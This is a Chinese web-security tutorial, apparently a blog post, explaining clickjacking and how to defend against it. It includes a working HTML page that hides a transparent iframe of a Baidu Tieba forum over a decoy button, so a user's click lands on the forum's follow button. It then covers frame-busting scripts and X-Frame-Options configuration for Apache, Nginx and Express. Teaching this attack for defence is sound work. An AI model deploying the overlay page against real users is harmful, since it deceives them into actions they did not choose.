​【WEB安全】WEB安全基础知识系列-点击劫持(CLICKJACKING)

“ Clickjacking (点击劫持)是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼在 2008 年提出的。 是一种视觉欺骗手段,在 web 端就是 iframe 嵌套一个透明不可见的页面,让用户在不知情的情况下,点击攻击者想要欺骗用户点击的位置。”

1.攻击原理:

点击劫持(ClickJacking)是一种视觉上的欺骗手段。大概有两种方式,一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的iframe页面;二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义;



2.攻击举例

假如我们在百度有个贴吧,想偷偷让别人关注它。于是我们准备一个页面:








<!DOCTYPE HTML>
<html>
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312” />


<head>


<title>点击劫持</title>


<style>


html,body,iframe{


display: block;


height: 100%;


width: 100%;


margin: 0;


padding: 0;


border:none;


}


iframe{


opacity:0;


filter:alpha(opacity=0);


position:absolute;


z-index:2;


}


button{


position:absolute;


top: 315px;


left: 462px;


z-index: 1;


width: 72px;


height: 26px;


}


</style>


</head>


<body>


那些不能说的秘密


<button>查看详情</button>


<iframe src=”http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe&gt;


</body>


</html

PS:页面看起来就这样,当然真正攻击的页面会精致些,不像这么简陋。

2. 网址传播出去后,用户手贱点击了查看详情后,其实就会点到关注按钮。


PS:可以把iframe透明设为0.3看下实际点到的东西。

3. 这样贴吧就多了一个粉丝了。


4.漏洞防御:

Client Side Mitigations(客户端防护)








NoScript plugin 这是一种简单的一种防御方法,就是在浏览器层面阻止js的运行。FireFox的Noscript插件就可以做到这一点。这个插件有一个选项可以使用户免于遭受clickjacking的攻击。实现原理是,这个插件阻止JS创建iframe。不过这个插件只能运行于firefox和基于其内核的浏览器。
GuardedID

GuardedID是一个用于保护用户免受包括clickijack在内的诸多攻击的商业软件。GuardedID不直接干扰浏览器的解析,只是把所用iframe强制设为可见。GuardedID只能在IE firefox浏览器下工作。

Server Side Mitigations(服务端防护)

JS防御方案








<script>
if (self == top) {
var theBody = document.getElementsByTagName(‘body’)[0];


theBody.style.display = “block”;


} else {


top.location = self.location;


}


</script>

X-Frame-Options

X-Frame-Options 共有三个值:
DENY 任何页面都不能被嵌入到 iframe 或者 frame 中。
SAMEORIGIN 页面只能被本站页面嵌入到 iframe 或者 frame 中。

ALLOW-FROM uri 页面自能被指定的 Uri 嵌入到 iframe 或 frame 中。

 

Apache 配置 X-Frame-Options

 

在站点配置文件 httpd.conf 中添加如下配置,限制只有站点内的页面才可以嵌入 iframe 。

Header always append X-Frame-Options SAMEORIGIN

配置之后重启 apache 使其生效。该配置方式对 IBM HTTP Server 同样适用。

如果同一 apache 服务器上有多个站点,只想针对一个站点进行配置,可以修改 .htaccess 文件,添加如下内容:

Header append X-FRAME-OPTIONS “SAMEORIGIN”

 

Nginx 配置 X-Frame-Options

 

到 nginx/conf 文件夹下,修改 nginx.conf ,添加如下内容:

add_header X-Frame-Options “SAMEORIGIN”;

重启 Nginx 服务。

 

Node Express服务器防止点击劫持劫持

 

npm install helmet –save

var express = require(‘express’);

var helmet = require(‘helmet’);

var app = express();

app.use(helmet.frameguard(‘sameorigin’));

PS:可以把iframe透明设为0.3看下实际点到的东西。





4.总结与思考:

your support will encourage me to continue to create!
版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)